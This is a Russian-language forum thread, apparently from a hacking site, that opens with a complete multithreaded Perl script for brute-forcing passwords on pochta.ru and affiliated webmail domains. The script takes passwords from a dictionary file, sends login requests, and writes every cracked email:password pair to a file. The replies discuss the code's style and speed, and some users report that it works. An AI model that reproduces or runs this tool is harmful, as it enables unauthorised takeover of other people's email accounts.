PDA

Просмотр полной версии : Pochta.ru Multithreads Brutforce [perl]


ZAMUT
13.05.2008, 20:09
#!/usr/bin/perl
################################################## ###############################################
################################Pochta.ru Multithreads Brutforce by ZAMUT####################
#(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail. ru,krovatka.su,land.ru,mail15.com,mail333.com,#
# newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.r u,pop3.ru,rbcmail.ru,smtp.ru)################
# Запускаем brut.pl xx, где xx - кол-во потоков
# plist.txt - Словарь паролей
# good.txt - Файл для сбрученных паролей
################################################## ###############################################
#############################################Antic hat.ru#########################################
use IO::Socket;
use strict;
use warnings;
use threads;
use threads::shared;
my @pass:shared;

my $threads = $ARGV[0];
open IN, "<plist.txt";
print 'Email:';
chomp(my $up =<STDIN>);
my($u,$p) = undef;
($u,$p)=split('\@',$up);
Next:
@pass = list();

for(0..$threads) {threads->create(\&brut, $_);}
for(threads->list) {$_->join; }

sub brut
{
while (@pass)
{
my $pas = shift @pass;
my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
while(<$socket>)
{
my $s = <$socket>;
if($s=~/login=/)
{ open GOOD,'>>good.txt';
print GOOD "$up:$pas\n";
print "\n$up:$pas\n";
close GOOD;
close $socket;
exit; }
}
close $socket;
}
}
goto Next;

sub list
{
my (@mas);
while (<IN>){
push @mas, $_;
last if (@mas == 500);
}
chomp @mas;
return @mas;
};


з.ы.
На канале 2 Мб/c при 30 потоках, скорость ~45-50 п/c. Дальше - больше ;)

demonoid
13.05.2008, 20:53
my $socket = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM)...
проще так:
my $socket = IO::Socket::INET->new('pochta.ru:80')...

for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}

open good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
open GOOD,'>>good.txt';
ещё куча ошибок....
use strict;
use warnings;
use diagnostics;

baltazar
13.05.2008, 21:12
впринципе неплохо,советую юзать Lwp дабы не было такого громоздкого кода

ZAMUT
13.05.2008, 21:19
baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.

Piflit
13.05.2008, 21:22
baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
это почему?

ZAMUT
13.05.2008, 22:37
Вообщем так. .
demonoid, спс поправил . эт не мега релиз =) но замечание уместно. и если на то пошло, то массв объявлять уж точно не в цикле ;)

Почему не LWP ? потому, что
мне от ответа всего лишь нужно

Server: nginx/0.5.35
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.2.3
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=pochta.ru
Set-Cookie: id=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: login=bla; expires=Wed, 13-May-2009 18:11:36 GMT; path=/; domain=.www.pochta.ru

genom--
13.05.2008, 23:24
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}

аз его тут объявлять при простом присвоении его и так создаст -- херню написал

open good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
open GOOD,'>>good.txt';

кем принято??? айзербайджанцами??? как хочет так и пишет -- левый доеп

ещё куча ошибок....
use strict;
use warnings;
use diagnostics;[/QUOTE]

это его вопросы юзать стрикт или нет -- это не ошибка нифига

demonoid
14.05.2008, 00:04
Естественно объявление массива не должно было быть в цикле пропустил многоточие xD

genom-- сердечно благодарю тебя за минусы xD
perldoc -f open
ув.читайте документацию
неверно
use strict;
use warnings;

open f,'>>','file.txt';
close f;

ошибка
Unquoted string "f" may clash with future reserved word at ..pl line 4.
Unquoted string "f" may clash with future reserved word at ..pl line 5.

Название дескриптора, как правило, пишут заглавными буквами, чтобы исключить совпадение с зарезервированными словами

".....
Лучше заключить такое слово в кавычки
или как-то выделить заглавными буквами , или
вставить в него подчёркивание ......"

верно

use strict;
use warnings;

open F,'>>','file.txt';
close F;

use strict;
use warnings;

open _f,'>>','file.txt';
close _f;

PS: Не кто не до кого не `доеп` , все мы нормальные люди , не `быдлокодеры` давайте выражать свои мысли более тактично ?

genom--
14.05.2008, 14:48
ты хоть понял что сам написал -- мы вообщето говорил?? КАКАЯ РАЗНИЦА большими писать дескриптор или нет -- а то что ты привел из перлдока вообще невтему

genom--
14.05.2008, 14:53
зарезервированные слова порабы уже знать это раз
open F,'>>','file.txt'; -- это трындец open F,'>>file.txt'; минус 3 левых символа --- это во вторых
в третьих выкинь свой учебник на помойку

m9chik
15.05.2008, 01:30
на ссамого себя срубило,хорошо+.

p.s. всё равно когданить понадобиться=)

z0diak
26.05.2008, 05:47
Жаль у меня что-то не работает.Пароль не верный пишит как правильный

sairo
14.06.2008, 00:19
смотрика, работает =)
только поменьше потоков надо ставить, а то много попыток обламывается из за того что сервер не смог ответить. так можно и проваронить хороший пароль =)